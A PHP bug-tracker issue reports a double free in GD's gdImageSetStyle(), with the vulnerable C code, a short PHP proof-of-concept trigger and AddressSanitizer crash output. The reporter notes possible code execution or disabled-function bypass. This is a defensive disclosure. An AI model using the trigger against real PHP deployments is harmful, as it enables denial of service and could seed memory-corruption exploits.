[php-src] Issue #22121: Double free in `gdImageSetStyle()`

Issue: https://github.com/php/php-src/issues/22121
Author: therealcoiffeur

### Description

### Summary

`im->style` is freed at line 2883 but never set to `NULL`. When `overflow2(sizeof(int), noOfPixels)` returns true (i.e., `noOfPixels > INT_MAX / sizeof(int)`), the function returns at line 2886 with `im->style` still holding the now-freed pointer.

Two separate code paths will subsequently free the dangling pointer:

1. Next call to `gdImageSetStyle()`: line 2882 checks `if (im->style)`
(still non-NULL), then line 2883 calls `gdFree(im->style)` again.
2. GD object destructor: When the PHP `GdImage` object is GC'd,
`php_gd_image_object_free` (`gd.c:180`) calls `gdImageDestroy`, which hits
`if (im->style) { gdFree(im->style); }` at lines 265-266. This fires
automatically on `unset($im)` or script shutdown.

> Note:
> The explicit `imagedestroy()` call is deprecated since PHP 8.5 and has no
> direct effect. The double free comes from the destructor during PHP's GC
> sweep, not from imagedestroy()` itself.

### Vulnerable Source Code

```c
void gdImageSetStyle(gdImagePtr im, int *style, int noOfPixels)
{
    if (im->style) {
        gdFree(im->style);          // frees old style -- no NULL assignment follows
    }
    if (overflow2(sizeof(int), noOfPixels)) {
        return;                     // early return leaves im->style dangling
    }
    im->style = (int *) gdMalloc(sizeof(int) * noOfPixels);
    memcpy(im->style, style, sizeof(int) * noOfPixels);
    im->styleLength = noOfPixels;
    im->stylePos = 0;
}
```

### How to Trigger

```php
<?php
$im = imagecreatetruecolor(1, 1);
imagesetstyle($im, [0]);
imagesetstyle($im, array_fill(0, 536870912, 0));
```

<u>Command:</u>

```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
```

In the POC, line 2 allocates `im->style`. Line 3 frees it and returns early
(overflow), leaving `im->style` dangling. Line 4 triggers the overflow. The
double free fires when PHP GC's `$im` at script end via
`php_gd_image_object_free` -> `gdImageDestroy` -> `gdFree(im->style)`.

<u>Output:</u>

```

Warning: imagesetstyle(): Product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully
 in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f3/poc.php on line 4
=================================================================
==35745==ERROR: AddressSanitizer: attempting double-free on 0x602000007670 in thread T0:
    #0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x0001044d123c in __zend_free zend_alloc.c:3571
    #2 0x0001044d4f50 in _efree zend_alloc.c:2788
    #3 0x00010346142c in php_gd_gdImageDestroy gd.c:266
    #4 0x000103402794 in php_gd_image_object_free gd.c:180
    #5 0x000104b88d30 in zend_objects_store_del zend_objects_API.c:193
    #6 0x000104beef2c in rc_dtor_func zend_variables.c:56
    #7 0x000104bef040 in i_zval_ptr_dtor zend_variables.h:44
    #8 0x000104beef68 in zval_ptr_dtor zend_variables.c:83
    #9 0x000104a83d74 in _zend_hash_del_el_ex zend_hash.c:1502
    #10 0x000104a82cfc in _zend_hash_del_el zend_hash.c:1529
    #11 0x000104a8bf94 in zend_hash_reverse_apply zend_hash.c:2245
    #12 0x00010460c140 in shutdown_destructors zend_execute_API.c:259
    #13 0x000104c07f78 in zend_call_destructors zend.c:1339
    #14 0x00010425ee4c in php_request_shutdown main.c:1983
    #15 0x000104c11808 in do_cli php_cli.c:1166
    #16 0x000104c0e0cc in main php_cli.c:1370
    #17 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

0x602000007670 is located 0 bytes inside of 4-byte region [0x602000007670,0x602000007674)
freed by thread T0 here:
    #0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x0001044d123c in __zend_free zend_alloc.c:3571
    #2 0x0001044d4f50 in _efree zend_alloc.c:2788
    #3 0x0001034696cc in php_gd_gdImageSetStyle gd.c:2883
    #4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
    #5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #6 0x000104636194 in execute_ex zend_vm_execute.h:110168
    #7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
    #8 0x000104c09350 in zend_execute_script zend.c:1971
    #9 0x0001042624f4 in php_execute_script_ex main.c:2646
    #10 0x000104262a64 in php_execute_script main.c:2686
    #11 0x000104c0fb0c in do_cli php_cli.c:947
    #12 0x000104c0e0cc in main php_cli.c:1370
    #13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

previously allocated by thread T0 here:
    #0 0x000107e14e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
    #1 0x0001044d5560 in __zend_malloc zend_alloc.c:3543
    #2 0x0001044d4e24 in _emalloc zend_alloc.c:2778
    #3 0x00010346970c in php_gd_gdImageSetStyle gd.c:2888
    #4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
    #5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #6 0x000104636194 in execute_ex zend_vm_execute.h:110168
    #7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
    #8 0x000104c09350 in zend_execute_script zend.c:1971
    #9 0x0001042624f4 in php_execute_script_ex main.c:2646
    #10 0x000104262a64 in php_execute_script main.c:2686
    #11 0x000104c0fb0c in do_cli php_cli.c:947
    #12 0x000104c0e0cc in main php_cli.c:1370
    #13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

SUMMARY: AddressSanitizer: double-free zend_alloc.c:3571 in __zend_free
==35745==ABORTING
[1]    35745 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
```

> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-2233-r24f-4m45 is not part of PHP's threat model (which is wrong, but that's not my call).
> "This is a bug, but not a security issue. Please report as a regular issue."


### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

### Operating System

_No response_